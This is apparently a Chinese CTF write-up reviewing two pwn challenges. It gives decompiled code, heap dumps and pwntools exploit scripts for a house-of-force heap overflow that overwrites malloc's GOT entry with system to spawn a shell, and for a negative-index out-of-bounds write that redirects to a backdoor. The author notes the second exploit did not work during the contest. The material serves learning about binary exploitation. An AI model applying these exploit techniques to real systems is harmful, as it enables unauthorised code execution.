ycb_final_review

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easy_force
checksec

C - 7 行 
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└─$ checksec pwn
[*] '/mnt/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

本地debug不大行
house of force打完会：

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[DEBUG] Received 0x1d bytes:
    b'malloc(): corrupted top size\n'

只能写一次

C - 37 行 
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void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4007D6(a1, a2, a3);
  puts("This day is schoolday,now teacher ask u to write somethings on the balckbroad");
  puts("the teacher will leave some space on the balckbroad");
  puts("u only give 4 times to reply");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_400961();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_40093F();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        sub_400950();
      }
      else if ( v3 == 4 )
      {
        exit(1);
      }
    }
    else if ( v3 == 1 )
    {
      sub_400819();
    }
  }
}

add存在堆溢出
没有对申请的size进行检查

C - 25 行 
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unsigned __int64 sub_400819()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch] BYREF
  size_t v2; // [rsp+8h] [rbp-18h] BYREF
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("which index?");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 4 || *(&buf + (int)v1) )
  {
    puts("already exist!");
    exit(1);
  }
  puts("how much space do u want?");
  __isoc99_scanf("%ld", &v2);
  size[v1] = v2;
  v3 = malloc(size[v1]);//无size检查
  *(&buf + (int)v1) = v3;
  puts("now what to write?");
  read(0, *(&buf + (int)v1), 0x30uLL);//存在堆溢出
  printf("the balckbroad on %p is in use\n", *(&buf + (int)v1));
  return __readfsqword(0x28u) ^ v4;
}

打house of force泄露libc_base 和heap_base
打完的堆：

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pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xa09000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0xa09290
Size: 0x1010 (with flag bits: 0x1011)

Allocated chunk | PREV_INUSE
Addr: 0xa0a2a0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0xa0a2c0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff)

然后把malloc_got改为system

PYTHON - 49 行 
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from pwn import *
context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process('./pwn')
#p = remote('10.1.102.102', 10002)
    

def menu(idx):
    p.sendlineafter('away', str(idx))


def add(idx, size, data):
    menu(1)
    p.sendlineafter('which index?', str(idx))
    p.sendlineafter('space do u want?', str(size))
    p.sendafter('what to write?', data)


add(0, 0x60000, b'\n')
p.recvuntil(b'the balckbroad on ')

libc_base = int(p.recvuntil(b' '), 16) - 0x58b010
success('libc_base:%s', hex(libc_base))

system = libc_base + libc.sym['system']

payload = b'/bin/sh'.ljust(0x18, b'\x00') + p64(0xffffffffffffffff)
add(1, 0x18, payload)

p.recvuntil(b'the balckbroad on ')
heap_base = int(p.recvuntil(b' '), 16)
success('heap_base:%s',hex(heap_base))

malloc_got = elf.got['malloc']

top_chunk = heap_base + 0x10
target_addr = malloc_got - 0x20 - top_chunk
add(2, target_addr, '\n')
add(3, 0x18, p64(system) * 2)


menu(1)
p.sendlineafter('which index?', str(4))
p.sendlineafter('space do u want?', str(heap_base))

p.interactive()

arrary_index_bank

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└─$ checksec pwn1
[*] '/mnt/ycbpwn/pwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

super_ai里存在整数溢出，数组元素为负数时可以泄露数据
赛场上不知道泄露的是什么
现在才知道能泄露程序地址

C - 52 行 
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__int64 super_ai()
{
  __int64 v1[3]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+18h] [rbp-18h]
  __int64 v3; // [rsp+20h] [rbp-10h]
  __int64 v4; // [rsp+28h] [rbp-8h]

  puts("Hi, welcome to Samman Fried-Bank!");
  puts("We totally care about your money, give it all to us!!!!");
  puts("We can go to the ~~moon~~ *cough* I mean we are totally regulated!");
  v1[crypto_bro] = 384400LL;
  v1[you] = 1000LL;
  while ( 1 )
  {
    while ( 1 )
    {
      v1[you] -= rand() % 100;
      if ( v1[you] <= 0 )
      {
        puts("sorry you are too poor bye! (overdraft fees sounds like a profitable idea hmmm....)");
        return 1LL;
      }
      menu(v1);
      v4 = read_long();
      if ( v4 != 1 )
        break;
      puts("Whose account?");
      v3 = read_long();
      if ( v3 > you )
      {
        puts("???");
        exit(1);
      }
      printf("accounts[%lld] = %lld\n", v3, v1[v3]);
    }
    if ( v4 != 2 )
      break;
    puts("Whose account?");
    v3 = read_long();
    if ( v3 > you )
    {
      puts("???");
      exit(1);
    }
    puts("How much?");
    v2 = read_long();
    v1[v3] = v2;
    puts("Deposited! Your money is safe with us 100% guarenteed!");
  }
  puts("Sorry, please be civil with our bank AIs, we haven't figured ChatGPT yet.");
  return 1LL;
}

偏移不会算，最后也没有打通
exp存给自己看了

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from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn1')

p = process('./pwn1')
#p = remote('10.1.102.102', 10000)
    
def debug(pro,bp):
    gdb.attach(pro,str(bp))
    pause()
    
def show(idx):
    p.sendlineafter('You current have', '1')
    p.sendlineafter('Whose account?', str(-0x8000000000000000 + idx))

def write(idx, data):
    p.sendlineafter('You current have', '2')
    p.sendlineafter('Whose account?', str(-0x8000000000000000 + idx))   # 7 ret
    p.sendlineafter('How much?', str(data))


show(7)
p.recvuntil('] = ')
codebase = int(p.recv(14), 10) - 0x151b #开了pie，可以用偏移来搞地址了
success('codebase:%s', hex(codebase))

#debug(p,'b *$rebase(0x14D2)')

backdoor = codebase + 0x1315
write(7, backdoor)

p.sendlineafter('You current have', '3')
p.interactive()

有空接着写break&fix，挖大坑

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